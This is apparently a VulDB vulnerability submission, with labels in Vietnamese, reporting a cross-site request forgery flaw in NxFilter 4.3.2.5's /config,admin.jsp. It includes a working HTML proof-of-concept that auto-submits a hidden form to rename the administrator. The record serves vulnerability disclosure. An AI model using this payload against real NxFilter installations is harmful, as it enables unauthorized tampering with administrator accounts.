| tiêu đề | Nxfilter NxFilter 4.3.2.5 4.3.2.5 CSRF |
|---|
| Mô tả | A CSRF is present in https://APP.COM/config,admin.jsp where a malicious user change the username of the administrator through a CSRF. If the Admin clicks on the link, his name can be changed by the name the hacker want.
Exploit in HTML:
<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body>
<form id="configForm" action="https://192.168.0.134/config,admin.jsp" method="POST">
<!-- Campos do formulário -->
<input type="hidden" name="actionFlag" value="update">
<input type="text" name="admin_name" value="hacker" style="display: none;"> <!--name here-->
<!-- Botão para enviar o formulário -->
<button type="submit">Enviar Requisição</button>
</form>
</body>
<script>
document.getElementById('configForm').submit();
</script>
</html>
|
|---|
| Nguồn | ⚠️ https://APP.COM/config,admin.jsp |
|---|
| Người dùng | 0xgordo (UID 50709) |
|---|
| Đệ trình | 08/12/2023 17:26 (cách đây 3 những năm) |
|---|
| Kiểm duyệt | 17/12/2023 09:25 (9 days later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 248266 [Jahastech NxFilter 4.3.2.5 /config,admin.jsp admin_name Giả mạo yêu cầu liên trang] |
|---|
| điểm | 17 |
|---|